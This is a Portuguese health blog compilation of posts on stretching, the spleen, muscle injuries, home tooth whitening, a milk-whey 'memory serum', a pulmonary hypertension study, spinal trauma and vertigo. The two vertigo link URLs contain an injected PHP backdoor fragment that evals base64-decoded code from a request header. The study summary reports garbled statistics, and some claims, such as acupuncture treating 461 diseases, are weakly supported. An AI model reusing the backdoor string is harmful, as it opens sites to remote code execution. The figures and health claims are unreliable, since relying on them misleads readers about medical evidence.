Lesões no Desporto

Muito interessante a fins de pesquisa e esclarecimento.

http://www.centrofisioterapico.com/text/263889.html

Fisiologia Muscular, Alongamento, estudos e 1 artigo.

Fisiologia Muscular:
http://www.ibb.unesp.br/departamentos/Fisiologia/material_didatico/Neurobiologia_medica/Apostila/11_contracao_muscular_esqueletica.pdf

Alongamento Muscular, estudos e um artigo:
http://www.wgate.com.br/conteudo/medicinaesaude/fisioterapia/variedades/alongamento.htm

Hoje o assunto é Alongamento! Todos precisam fazer, mas a maioria não faz!
Não demora quase nada e os benefícios são inúmeros! Aproveitem o texto e tirem suas dúvidas!

Alongamento, de maneira geral, refere-se ao processo de "aumentar" o comprimento muscular.

Os exercícios de alongamento podem ser realizados de várias maneiras, dependendo dos objetivos, da capacidade física e do nível de treinamento de quem os pratica.

O ideal é realizar os exercícios de alongamento de forma lenta, mantendo uma postura correta, com duração de 30 segundos e nunca esquecendo de respirar corretamente.

A experiência diária comprova o aumento da flexibilidade; além disso, os exercícios apropriados de alongamento podem diminuir a incidência, a intensidade ou a duração das lesões musculares, articulares e dos tendões.

A partir de uma perspectiva puramente fisiológica, o relaxamento é a suspensão da tensão muscular. Indesejavelmente, altos níveis de tensão muscular no organismo humano resultam em vários efeitos colaterais negativos. A tensão muscular excessiva tende a aumentar a pressão sangüínea, também faz com que os músculos dependam mais energia; um músculo contraído obviamente requer mais energia que um músculo relaxado.

Além disso, os músculos tencionados tendem a cortar sua própria circulação. Suporte sanguíneo reduzido resulta em uma falta de oxigênio e de nutrientes essenciais e origina produtos de resíduos tóxicos que se acumulam e se instalam nas células. Esse processo predispõe uma pessoa à fadiga, dores e até futuras lesões. A experiência diária mostra que um músculo relaxado é menos suscetível a esses e muitas outras problemas. Quando um músculo permanece parcialmente contraído, desenvolve-se um estado anormal de encurtamento prolongado chamado contratura. A contratura e a tensão muscular crônica não só encurtam o músculo, mas também o tornam menos flexível, menos forte e incapaz de absorver o choque e o estresse de vários tipos de movimento.

A falta de flexibilidade e má postura estão intimamente ligadas. A capacidade reduzida da amplitude de movimento das articulações, causada pelo encurtamento e um desequilíbrio no desenvolvimento de certos grupos musculares pode vir a causar problemas posturais. Ombros arredondados, por exemplo, são associados com pouca flexibilidade nos músculos peitorais e uma falta de resistência muscular da cintura escapular (rombóides e trapézio). Essa condição pode, provavelmente, ser aliviada através do alongamento dos músculos encurtados e fortalecimento dos músculos fracos.
A saúde pode ser melhorada pela atividade física regular. Quando a atividade física não é um componente regular da vida da pessoa, muitas doenças e condições debilitantes são mais prováveis de ocorrer, tais como, perda de força, incapacidade para coordenar os movimentos corporais. Proporcionalmente contrario, se uma pessoa faz da atividade física regular uma parte de sua vida, muitas dessas condições podem ser evitadas. Dependendo do método e da técnica de alongamento empregados, os indivíduos podem aumentar sua agilidade, coordenação, flexibilidade e força muscular.

Benefícios dos Alongamentos:

• Redução de tensões musculares e sensação de um corpo mais relaxado;
• Beneficia a coordenação pois tornam os movimentos mais soltos e fáceis;
• Previne lesões como distensões musculares (um músculo forte e alongado resiste melhor as tensões do que um músculo forte não alongado);
• Facilita atividades de desgaste como caminhada, corrida, ciclismo, natação, tênis, etc;
• Desenvolve a consciência corporal. Conforme alonga as várias partes de seu corpo, você as focaliza e entra em contato com as mesmas. Você aprende a conhecer-se;
• Ajuda a liberar os movimentos bloqueados por tensões emocionais, de modo que isto aconteça de forma espontânea;
• Auxilia na recuperação muscular após uma atividade física;
• Melhora o nível de elasticidade das fibras musculares evitando ou revertendo o encurtamento muscular;
• Ativa e melhora a circulação;

Os exercícios de alongamento devem ser parte integrante de qualquer treinamento, tanto na fase de aquecimento como durante o relaxamento.

Suaves e harmoniosos, também contribuem para o relaxamento psicológico, além de tornar ainda mais efetivo o treinamento da flexibilidade.
Abaixo, alguns exemplos de alongamentos:

Artigo:
Efeitos do alongamento muscular e condicionamento físico no tratamento fisioterápico de pacientes com fibromialgia
http://www.scielo.br/pdf/rbfis/v12n2/a03v12n2.pdf

Alongamentos e seus tipos:
http://www.fisioterapialisboa.com/2009/03/exercicios-fisioterapia.html

http://papodehomem.com.br/alongamento-e-aquecimento-com-dr-fitness-em-video-e-fotos/

Baço - Anatomia e função - IMPORTANTÍSSIMO!

Estudo sobre o Sistema Linfático: (ótimo informativo!!!)
http://www.auladeanatomia.com/linfatico/linfa.htm
Remoção cirúrgica do baço:
http://adam.sertaoggi.com.br/encyclopedia/presentations/100040_7173.htm
Anatomia do baço:
http://catalog.nucleusinc.com/enlargeexhibit.php?ID=28458

Abaixo, uma resposta a quem pergunta:
"PRA QUE SERVE O BAÇO??" -> aqui vai sua resposta:

Quando as pessoas perdem o baço em acidentes ou tem ele retirado em cirugias (esplenectomia) devido a hemorragias ou quando ele fica muito grande (esplenomegalia), fica a impressão que ele não tem importância, mas tem sim!!!

Como já foi dito aqui o baço durante a vida fetal é fundamental para formar o sangue (junto com fígado!). Após o nascimento esse papel é feito pela medula óssea. Então o baço fica com uma função SUPER importante do sistema imune: ajudar a capturar, reconhecer e destruir microorganismos que estão na corrente sanguínea.

O baço junto com o sistema linfóide, medula óssea e timo forma o sistema imune.

Mas o baço é o ÚNICO orgão do sistema imune que está interposto na circulação sanguínea, isto é, em contato direto com o sangue. O resto do sistema imune só consegue desenvolver uma resposta de defesa contra microorganismos se eles forem levados até o linfonodo.

Diferentemente, o baço captura esses microorganismos e dentro dele mesmo já inicia uma resposta de defesa.

Por isso antes de tirar o baço de uma pessoa faz-se uma avaliação detalhada de sua imunidade (contagem de linfócitos com diferencial, mielograma, hemograma, etc...).

Já imaginou tirar o baço de uma pessoa com imunodepressão? (deficiência de imunidade)

Então resumindo: o Baço serve, principalmente, para ajudar a elaborar uma defesa do nosso corpo contra patógenos e também para eliminar células velhas e outras substâncias presentes na circulação (motivo pelo qual também é conhecido como "lixeiro do corpo" e como "armazenador de sangue"). Pouco importante ele, não!?

Deve ter doído muito!

Navegando pela internet, resolvi postar estes links (abaixo), pra quebrar um pouco o clima apenas de conhecimento. Forte abraço a todos!

http://curiosidadesnanet.com/2010/04/fraturas-no-futebol/

http://curiosidadesnanet.com/2010/04/bicicletas-fail/

Demais mesmo!

Nosso planetinha! MUITO INTERESSANTE!

Nosso "planetinha" em comparação ao universo!

Achei esta matéria muito interessante e mesmo um pouco "fora" do assunto deste blog, não poderia deixar passar esta informação tão importante a todos!

Algumas pessoas que acessam o site Apolo11 muitas vezes se deparam com notícias espaciais ou astronômicas que fazem menção ao tamanho dos planetas do sistema solar ou até mesmo dos extra-solares.

No entanto, algumas dessas pessoas não tem a real idéia do tamanho dos planetas.

Se você é uma dessas pessoas, não se preocupe. Vamos dar uma mãozinha pra você. Comparando o tamanho dos planetas e de algumas estrelas, você vai ver que, mesmo Júpiter, o gigante gasoso do nosso sistema solar, não é tão grande quanto se pensa.

Para que possamos comparar melhor o tamanho dos diversos astros, vamos observar algumas imagens.

A primeira delas nos mostra que a Terra e Vênus tem tamanho muito parecidos. O raio equatorial da Terra é de 6378 km, enquanto o de Vênus, 6051 km. Uma diferença não muito grande.

Marte, por sua vez, é bem menor. Seu raio é de 3397 km, ou seja, um pouco maior que a metade do nosso planeta. Marte é 1.3 vezes maior que Mercúrio, com 2439 quilômetros de raio, que por sua vez é o dobro de Plutão, com 1160 km. Não é a tôa que Plutão foi rebaixado, não acha? A maioria dos telescópios de médio porte, usado por amadores, não consegue vê-lo. Plutão é menor que nossa Lua, que tem 1738 quilômetros de raio!

Gostou desta comparação? Então vamos à próxima.
Ela nos mostra os gigantes gasosos, como são conhecidos Júpiter, Saturno, Urano e Netuno.

Júpiter, o maior planeta do sistema solar, tem 71492 quilômetros de raio, 11 vezes maior que o raio do nosso planeta. Se fosse ôco, caberia mais de 2 mil Terras dentro dele! Saturno, o segundo maior planeta, não fica atrás. Seu raio é de 60268 quilômetros.

Bem menores, Urano e Netuno têm 51108 e 49538 quilômetros de raio, mesmo assim, aproximadamente 8 vezes maiores que Terra. A figura mostra bem o quanto somos pequeninos perto desses gigantes de gás !

Na sequência vemos o Sol. Seu raio, de 695 mil quilômetros é 100 vezes maior que o raio terrestre. Mesmo o gigantesco Júpiter não passa de uma bolinha de gude quando comparado ao astro-rei. Veja que a Terra, nossa bela Terra, não atinge sequer o tamanho de uma pulga !

Mas as comparações não param. Nem mesmo o Sol é tão grande quanto parece. A ilustração abaixo mostra que até ele se torna uma pequena estrela quando comparado à outros sóis, muitos anos-luz distantes. Nosso Sol não passa de uma lanterna quando comparado à Sirius, distante 25 anos-luz do nosso planeta e a estrela mais brilhente no céu noturno.

Mas até mesmo Sirius, se comparada à grande Arcturus, perde sua majestada. Essa estrela gigante, 17 vezes maior que o Sol, põe suas concorrentes no chão e faz nosso Sol parecer uma pequena lamparina !

Mas não se iluda. No universo a briga é boa e quando você acha que já viu tudo, pode se enganar. Veja a imagem abaixo.

Agora quem parece uma pulga é a gigantesca Arcturus. Perto de Antares, uma supergigante vermelha distante 600 anos-luz da Terra, tudo parece pequeno. Antares é 700 vezes maior que nosso sol e brilha 10 mil vezes mais forte. Localiza-se no centro da constelação do Escorpião, e devido à sua coloração avermelhada, alguns astrônomos a chamam de Coração do Escorpião.

E você acha mesmo que acaba por aí? Então prepare-se...

Como deu pra notar, em um universo gigantesco, nossa Terra não é tão importante quanto imaginamos !

Fonte:

http://www.apolo11.com/curiosidades.php?posic=dat_20061011-120632.inc

Contratura Muscular

O que é e tratamento (indicativo):

Contratura

Qualquer estado de resistência prolongada ao alongamento passivo num músculo pode ser denominado contratura. A contratura fisiológica resulta de agentes mecânicos, químicos ou outros que atuam diretamente sobre o mecanismo contrátil sem envolver um potencial de ação, há um tipo de contratura fisiológica em que não há relaxamento completo entre estímulos, este tipo de contratura ocorre quando um músculo em atividade torna-se fatigado. (ex. um jogador de futebol que “se esgota”), seus mecanismos não são bem compreendidos. A contratura miotática é uma condição fibrótica dos tecidos conectivos de sustentação de um músculo ou articulação, resultante da imobilização do músculo na posição curta enquanto a quantidade nervo-músculo permanece intacta. A contratura miotática ocorre depois que o membro esteve imobilizado em um cilíndro gessado, após a lesão ou avulsão de um tendão, ou após a paralisia de músculos antagonistas.

Tratamento

Repouso inicial + Alongamentos leves e progressivos respeitando a ADM + recursos de calor superficial e profundo (Ultra-som, Microondas e Infra-vermelho).

Fonte:
http://www.fisiointerativa.hpg.ig.com.br/ortopedia/contratura.html

Outros links:
http://www.medipedia.pt/home/home.php?module=artigoEnc&id=392

http://www.seucorpopede.com.br/patologia.php?PaginaPatologia=2

http://www.fisionet.com.br/patologias/interna.asp?cod=347

Contusão Muscular

O que é e links adicionais:

Contusão muscular é uma lesão traumática aguda, sem corte, decorrente de trauma direto aos tecidos moles e que provoca dor e edema. A contusão vai de leve até uma grande infiltração de sangue nos tecidos circundantes, levando a equimose e, em casos graves, a síndrome compartimental.

Links:
http://www.rbo.org.br/pdf/1994_out_14.pdf

Sobre:
http://boasaude.uol.com.br/lib/ShowDoc.cfm?LibDocID=5220&ReturnCatID=1777

Pequeno trabalho sobre Contusão muscular: (com menus e submenus)
http://www.bibliomed.com.br/lib/ShowDoc.cfm?LibDocID=15975&ReturnCatID=1844

Assunto sério, com um grau considerável de importância!

Manual Merk - Saúde para família

Manual Merck - Excelente informativo sempre!
http://mmspf.msdonline.com.br/pacientes/manual_merck/secao_00/sumario.html

Estruturas do corpo humano

Imagens esquemáticas de algumas estruturas do corpo humano.
Objetos de estudo.

Anatomia de uma veia e suas túnicas (abaixo)

Sistema circulatório de modo geral (abaixo)

Neurônio (ótimo desenho esquemático!)

Estrutura anatomica: osteócito, osteoblasto e um capilar próximo. (abaixo)

As MELHORES IMAGENS ja conseguidas na história humana!

São impressionantes as riquezas em detalhes. EXCELENTE SITE!!!
Imagens de microscopia eletrônica coloridas... excelentes!
Tem que se cadastrar, mas é 100% gratuito!!!
No campo superior direito em "Search" digite sua busca, escrevendo em inglês, claro, afinal de contas, não conseguiríamos coisas assim tão incríveis nas terras de cá, não é!?

http://images.wellcome.ac.uk/indexplus/page/Home.html

Clareamento dentário EM CASA!!!

É.. é isso mesmo..! Hoje em dia é possível fazer o famoso clareamento dentário em casa! Veja como...

Quais os produtos para clareamento dental estão disponíveis no mercado e em drogarias?

Você tem uma grande opção no que se refere ao clareamento de seus dentes, desde pastas clareadoras, géis especiais e fitas a kits de sistemas de clareamento. Estes produtos OTC (que podem ser comprados sem receita) são uma opção de clareamento a preços mais acessíveis, e são seguros para a maioria das pessoas.

• As pastas clareadoras podem remover manchas superficiais de maneira eficaz com uso repetitivo. Elas também ajudam a manter brancos os dentes recentemente clareados. Ao contrário dos procedimentos realizados em consultório, como o clareamento a laser, toda vez que você escovar os dentes com uma pasta clareadora você elimina novas manchas de café ou chá, tabaco ou o aparecimento de placas. Os cremes dentais clareadoras ajudam a manter os dentes recentemente clareados brancos por mais tempo.
• Os géis clareadores funcionam através da remoção de manchas, tanto as superficiais como aquelas entre os dentes. Porque contêm fórmulas especiais à base de peróxido, muito provavelmente a mudança será mais visível ao utilizar um gel, se comparado a uma pasta clareadora por si só. Para utilizar o gel clareador, apenas o espalhe sobre os dentes com uma escova aplicadora conforme as instruções.
• Fitas de clareamento (Whitening strips) também são aplicadas diretamente sobre os dentes e lá mantidas por 30 minutos, duas vezes ao dia.
• Sistemas de clareamento incluem um material branqueador, freqüentemente em concentrações menores de peróxido comparados àquelas encontradas nos sistemas de moldeiras de clareamento supervisionados por um dentista. O material alvejante é colocado sobre os dentes usando uma aplicador de moldeira disponível em uma destas duas formas:
• Aplicadores moldáveis são moldeiras que se ferve em água e então morde para adquirir a forma dos dentes. Adiciona-se o material clareador a moldeira e o utiliza conforme as instruções do fabricante.
• Aplicadores de moldeiras não-moldáveis é a opção de moldeiras para clareamento mais baratas (só US$ 29). Funcionam como as moldeiras descritas acima, porém não é preciso fervê-las primeiro, ao contrário, deve apenas escolher qual o tamanho ideal.

A escolha de qual sistema de clareamento utilizar depende da rapidez com a qual você quer ver os resultados, da sensibilidade de sua gengiva e dentes, e do quanto você quer pagar. Com qualquer método de clareamento doméstico você corre o risco de ter sensibilidade nos dentes e ficar com a gengiva irritada. O melhor é consultar seu dentista antes de iniciar qualquer tipo de procedimento de clareamento.

Com estas dicas, ja é possível clarear os dentes, mas muito cuidado! Saiba o que está fazendo! INFORME-SE!!!

Site EXCELENTE para estudos histológicos

Ótima qualidade de imagens e grande variedade para estudo acadêmico satisfatório!
http://www.path.uiowa.edu/virtualslidebox/

Vida Saudável com o Sol

Site interessante para dúvidas sobre luminosidade, benefífios e malefícios.
http://www.saudetotal.com.br/prevencao/pele/default.asp

Soro para memória

Estudos sobre melhoria da memória:

Nos laboratórios da Universidade do Vale do Rio dos Sinos, no Rio Grande do Sul, cientistas pesquisam um líquido que pode fazer a cabeça funcionar melhor. É o soro do leite, tão conhecido no interior de Minas para regar samambaias ou para fazer limonada.


Receita:

Para cada litro de leite (saquinho tipo A ou B), misture suco de 1 limão. Deixe descansar de 4 a 12 horas até coagular.
Passe por uma peneira bem fina e separe a parte sólida da líquida. Beba a parte líquida.

A pesquisa afirma que em 3 meses (100ml antes de dormir) de uso, em pesquisas, notam diferença na questão da memória e na questão do sono. Tem duração de 3 a 5 dias na geladeira e pode ser congelado.

Com a parte que coagulou você pode temperar com um pouco de sal, ervas finas e colocar em uma forma de queijo. É uma maravilhosa receita de queijo ricota.

Quem não tiver a forma de queijo, pode colocar em um pedaço de tecido voal, espermer bem e usar (coalhada síria).

O leite tem que ser "in natura", isto é, ele não pode ser fervido. O leite deve ser o pasteurizado - tipo A,B, ou C.

Fonte:
http://amigos.mdig.com.br/index.php?itemid=4693

Conheça os órgãos do Corpo Humano

Ótimo site: (vale a pena conferir) - ótimo para estudos de revisão.
http://www.professorpaulinho.com.br/Dicas/Conheca_os_Orgaos.htm

Coração Humano - Fisiologia e Imgens e 2 vídeos

Aqui está a fisiologia e algumas imagens do nosso coração. Bastante interessante!

Vídeo interessante. Em funcionamento e seu interior.(Transparente)
http://amigos.mdig.com.br/index.php?itemid=3075

Outra animação:
http://www.portalsaofrancisco.com.br/animacoes-de-corpo-humano/coracao.php

Site inteiramente voltado a imagens em 3D da nossa anatomia: MARAVILHOSO!!!
http://www.3dscience.com/index.php

Componentes do sistema Cardiovascular:
http://www.afh.bio.br/cardio/Cardio2.asp

O Coração Humano:
http://www.colegioweb.com.br/biologia/o-coracao-humano

Funcionamento e fisiologia: ÓTIMO VÍDEO!
http://www.portalsaofrancisco.com.br/videos-corpo-humano/fisiologia-do-coracao.php

É isso. Espero ter ajudado!

Hipertensão pulmonar induzida por Hipóxia

Hipertensão pulmonar induzida por Hipóxia

A hipertensão pulmonar induzida por hipóxia é a maior causa de morbimortalidade em doenças cardíacas e respiratórias na altitude. Esta hipertensão está relacionada a vasoconstricção pulmonar e remodelamento vascular. Recentes descobertas relataram o papel do fator de indução de hipóxia (FIH), na regulação deste processo. Ele atuaria na oferta de oxigênio às células, principalmente na eritropoiese e nas funções do complexo cardiopulmonar. O FIH é principalmente regulado por degradação proteossomal que por sua vez é ferro-dependente, necessitando de ferro como co-fator de presença obrigatória. O laboratório do autor já obtivera sucesso em correlacionar a disponibilidade de ferro e a hipertensão pulmonar. Contudo estes experimentos foram limitados a indivíduos saudáveis, sendo seu papel em pacientes com doença hipertensiva hipoxêmica pulmonar ainda desconhecida.

O objetivo deste artigo foi investigar a interação entre ferro e hipóxia na hipertensão pulmonar após semanas de hipóxia a grandes altitudes.

O trabalho cursou com dois protocolos, ambos randomizados, duplo-cegos e placebos controlados.

O primeiro com moradores do nível do mar (NDM), utilizou voluntários sadios, moradores da cidade de Lima no Peru, que foram estudados em outro local a 4340 m de altitude numa pressão barométrica de 450 mm Hg, equivalente a 12% do oxigênio respirado ao nível do mar.

O desfecho primário foi o efeito da infusão de ferro na pressão sistólica de artéria pulmonar a (PSAP) avaliada por doppler ecocardiografia.

Foram analisados 22 pacientes em seus resultados de hematócrito, ferro sérico e dosagem de eritropoietina.

Depois os pacientes foram conduzidos para a altitude, tendo sido repetida estas medidas por uma semana.

No terceiro dia, os participantes do grupo não placebo receberam infusão de hidróxido de ferro.

Como resultado, em todos os participantes houve um aumento na PASP com a exposição à altitude de 24 mmHg ( 95% IC 12-17mmHg) a 39 mmHg ( 95%IC 23-25 mmHg) p<0,001).

A infusão de ferro reverteu muito do aumento da PASP caindo de valores de 37 mmHg( IC 34-40 mmHg) para 31 mmHg( 95% IC 29-33 mmHg.) comparado a um decréscimo de 2 mmHg no grupo placebo, de 40 mmHg (IC 95%, 35-45 mmHg para 38 mmHg 95%IC 32-44 mmHg.

Houve diferença significativa entre os dois grupos ( p=0,1).

No terceiro dia, o hematócrito subiu 2%, o nível de eritropoietina subiu 60mU/mL, a saturação de transferrina diminuiu em 10% e o nível de ferritina caiu 21 ng/ml.

O segundo protocolo, envolveu pacientes com doença crônica da montanha (DCM) no qual pacientes nativos na altitude, portadores desta doença, que se caracteriza por uma excessiva reposta eritropoiética à hipóxia da altitude com conseqüuente hipertensão pulmonar, foram estudados por um mês. Eles foram tratados com uma “sangria”, sendo o desfecho primário o estudo da depleção de ferro causado pela sangria na PASP.

No início do trabalho, cada participante apresentou aumento no hematócrito equivalente a uma concentração de hemoglobina acima de 21g/dL.

Após as medidas de base de ecocardiograma, eles foram submetidos a uma retirada de sangue isovolêmica (sangria) de 500ml cada em 4 dias consecutivos totalizando 2000 ml. As medidas do eco foram repetidas nos dias 5, 12 e 19; foram então submetidos os pacientes à infusão de Ferro em dois dias com 200mg/dia ou salina como placebo. Os grupos foram cruzados, posteriormente recebendo as infusões alternativas.

A sangria reduziu o hematócrito em 19% e aumentou o débito cardíaco em 10%. De uma maneira geral a PASP aumentou em 25% do início até as transfusões. Durante o período de cruzamento dos grupos não foi verificado efeito da reposição de Ferro sobre a PSAP.

A conclusão do trabalho demonstra que a hipertensão pulmonar hipóxica pode ser atenuada pela suplementação de Ferro e exacerbada pela depleção do mesmo.

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Fonte:

http://www.medcenter.com/Medscape/content.aspx?bpid=125&id=25655&__akacao=248169&__akcnt=e4691e93&__akvkey=b9e8&utm_source=akna&utm_medium=email&utm_campaign=Cardio+69+BR&langtype=1046

Osteofitose ou famoso "Bico de Papagaio"

Famoso "Bico de Papagaio" Matéria explicativa:

http://www.portalsaofrancisco.com.br/alfa/osteofitose/index.php

Para Fisioterapeutas

A Posição Correta:

http://www.institutoflordelotus.com.br/noticias.php?id=147

Acupuntura pode melhorar a enxaqueca em 94% dos casos:

http://www.institutoflordelotus.com.br/noticias.php?id=143

Estudo diz que 461 doenças podem ser tratadas pela acupuntura:

http://www.institutoflordelotus.com.br/noticias.php?id=135

Reeducar o músculo pode acabar com dores:

http://www.institutoflordelotus.com.br/noticias.php?id=134

Empresas brasileiras despertam para ergonomia:

http://www.institutoflordelotus.com.br/noticias.php?id=133

Concento Maitland de Terapia Manual

Para os fisioterapeutas e estudantes da área.

Conceito Maitland - Terapia Manual

http://fisioterapiahumberto.blogspot.com/2009/07/o-conceito-maitland-de-terapia-manual.html

Importante!

TRAUMATISMO RAQUIMEDULAR

Assunto bastante comentado e ocorrido na atualidade.

Traumatismo raquimedular

Os traumatismos raquimedulares (coluna vertebral e medula) são lesões freqüentes na vida moderna. Estima-se que a lesão da medula espinhal ocorra em cerca de 15% a 20% das fraturas da coluna vertebral, e que 10% a 15% dos pacientes apresentem dano neurológico severo com grande morbidade e 5% de taxa de mortalidade, somente nos EUA (Fig. 1).

Figura 1 – Figuras esquemáticas de fraturas da coluna

Devido a esta grande incidência e custos elevados no diagnóstico, tratamento, reabilitação e manutenção destes pacientes, a patologia é considerada como um grande problema socioeconômico. A lesão é mais freqüente no sexo masculino na proporção de 4:1, comprometendo os pacientes com faixa etária entre 15 e 40 anos de idade. A principal causa destas lesões são os acidentes envolvendo veículos automotores. Outras causas importantes são queda de altura, traumatismos esportivos, mergulho em águas rasas e ferimentos por arma de fogo que nos centros urbanos têm apresentado incidência crescente com o aumento da violência.

A localização anatômica mais comum de lesão medular é na região cervical, que está associada também ao maior índice de complicações, seqüelas e mortalidade em relação aos demais segmentos vertebrais (Fig. 2).

Figura 2 – Lesão da coluna cervical com deslocamento (fratura – luxação)

Avaliação clínica e abordagem inicial

Todo o paciente com história de traumatismo cranioencefálico, cervical, torácico ou abdominal deve ser considerado como potencialmente portador de fratura da coluna. Também deve-se incluir nesta categoria os pacientes vítimas de traumas severos, pacientes inconscientes (desmaiados) e todos os pacientes que apresentem limitação dos movimentos e dor localizada na coluna vertebral mesmo que apresentem movimentos com os membros.

É importante que a pessoa que preste os primeiros socorros tenha sempre e mente que o paciente deve ficar imobilizado, na medida do possível, tanto tempo quanto for necessário até a chegada de equipe especializada, para afastar a possibilidade de lesão de coluna vertebral e movimentar o paciente de forma segura.
A movimentação inadequada do paciente com lesões vertebrais instáveis pode provocar dano medular adicional. A imobilização com colar cervical e maca rígida auxiliam na proteção do transporte. No atendimento inicial do paciente é fundamental a avaliação e preservação das funções vitais básicas. No atendimento hospitalar, a história do trauma e o exame físico geral são fundamentais na avaliação da lesão vertebral e outras associadas.

Avaliação radiológica e diagnóstico por imagem

A radiografia cervical em perfil deve ser obtida assim que estabilizado o paciente. As radiografias da coluna torácica, lombar e pelve também são fundamentais. O estudo com ressonância nuclear magnética (RNM) e a tomografia computadorizada, mostram com fidelidade as estruturas neurais, o canal raquídeo e a arquitetura vertebral, respectivamente, auxiliando quanto à etiologia do dano neurológico, no tratamento cirúrgico, bem como na classificação de lesões estáveis e instáveis (Fig. 3).

Figura 3 – Ressonância magnética de uma Fratura-luxação da coluna cervical

Tratamento

O tratamento específico da lesão no segmento vertebral fraturado tem como principal objetivo a preservação da anatomia e função da medula espinhal, restauração do alinhamento da coluna vertebral, estabilização do segmento vertebral lesado, prevenção de complicações gerais e locais. Na impossibilidade de realização do tratamento definitivo, a redução da fratura cervical e o realinhamento do canal vertebral podem ser obtidos por meio da aplicação de tração longitudinal, utilizando-se halo-craniano, promovendo descompressão indireta das estruturas nervosas do segmento vertebral.

As indicações do tratamento cirúrgico têm sido baseadas na presença de instabilidade do segmento vertebral e lesão neurológica. A presença de paralisia incompleta e progressiva é indicação absoluta e urgente de tratamento cirúrgico (Fig. 4).

Figura 4 – Fixação anterior da coluna cervical

A estabilização precoce das lesões facilita a mobilização dos pacientes e promove de modo mais rápido a reabilitação, reintegração social, reduzindo ainda as complicações inerentes a essas lesões (Fig. 5).

Figura 5 – Fixação posterior da coluna cervical

VERTIGEM - 200 dúvidas respondidas

Links sobre um assunto interessante que atinge uma larga fatia da população. Vale a pena se informar! (Só não encontrei 200 - só 40!)

Primeira parte:
http://www.medicinageriatrica.com.br/2007/11/30/vertigem-20-duvidas/%&%28%7B$%7Beval%28base64_decode%28$_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D|.+%29&%/

Segunda parte:
http://www.medicinageriatrica.com.br/2007/12/07/reabilitacao-vestibular/%&evalbase64_decode_SERVERHTTP_EXECCODE.+&%/

VERTIGENS POSTURAIS- Estudo de caso

Assunto interessante e bastante importante a título de conhecimento...

Vertigens Posturais - Estudo de caso

Interpretação clínica

Mulher de 68 anos, trazida ao pronto socorro com história de “tonteira” há 2 dias. A paciente relata que a “tonteira” aparece quando ela vira a cabeça para o lado esquerdo, e melhora quando volta para o lado direito. Acompanha a “tonteira”, ânsia de vômito e formigamento nas mãos. Sabe ser diabética e hipertensa, em tratamento há 20 anos e em tratamento de “bico-de-papagaio” na coluna há 3 anos. Exame físico geral obesidade. No exame cardiológico, pressão arterial normal, pulsos normais, freqüência cardíaca rítmica com 80 batimentos por minuto. No exame neurológico apresentava-se lúcida, reflexos normais. Qual o possível diagnóstico e que exame ajuda no diagnóstico?

Este tipo de tontura, dita por deflexão da cabeça, é considerada com tontura fisiológica, como as que ocorrem com a cinetoses, as vertigens auditiva, proprioceptiva, por hiperextensão da cabeça, à imaginação de objetos em movimentos e à sugestão hipnótica. Porém, neste caso, a tontura ao virar rapidamente a cabeça pode ser por espondiloartrose cervical, (degeneração da coluna cervical, osteofitose marginal = “bico de papagaio” no jargão popular, veja figura).

A tontura cervical é causada pela compressão da artéria vertebral pelos osteófitos. Dessa compressão resulta a diminuição do fluxo sangüíneo para o tronco cerebral, e disso a vertigem rotatória. O diagnóstico é feito por radiografia da coluna cervical, ecodoppler arterial das artérias vertebrais e artériografia vertebral. O tratamento poderá ser conservador com fisioterapia ou cirúrgico com remoção dos osteofitos.

Obs. A vertigem por extensão da cabeça, devido à transposição do limite funcional otolítico, pode ocorrer quando a pessoa, em hiperextensão cervical, apóia-se sobre um dos pés, olha para o teto ou fecha os olhos. A vertigem à flexão da cabeça sobre a cintura é causada pelo mesmo mecanismo, ou seja, por aumento transitório na pressão intracraniana, transmitindo à perilinfa e à endolinfa. Em ambas as situações, a vertigem desaparece quando a cabeça retorna a posição normal.

Esse caso chama atenção para a pesquisa na anamnese dos possíveis fatores agravantes como o movimento ou repouso, de pé, deitado ou sentado, virando na cama para a direita ou para a esquerda, estendendo a cabeça para cima ou para baixo, se há sintomas auditivos, neurovegetativos (náuseas, vômitos, sudorese, palidez, taquicardia, lipotímia, desmaios), cefaléia, disfunções neurológicas ou otológica (sensação de ouvido tapado, etc).

Referências:

Ganança MM, Caovilla HH, Kuhn AMB, Ganança FF, Ganança CF – “Labirintites” no idoso: Vertigens posturais. Atualidade em Geriatria 1997,2(11):5-8.

Ganaça MM, Caovilla HH – O universo das vertigens no idoso. Atualidades em Geriatria, 1996, 2(7):2-8.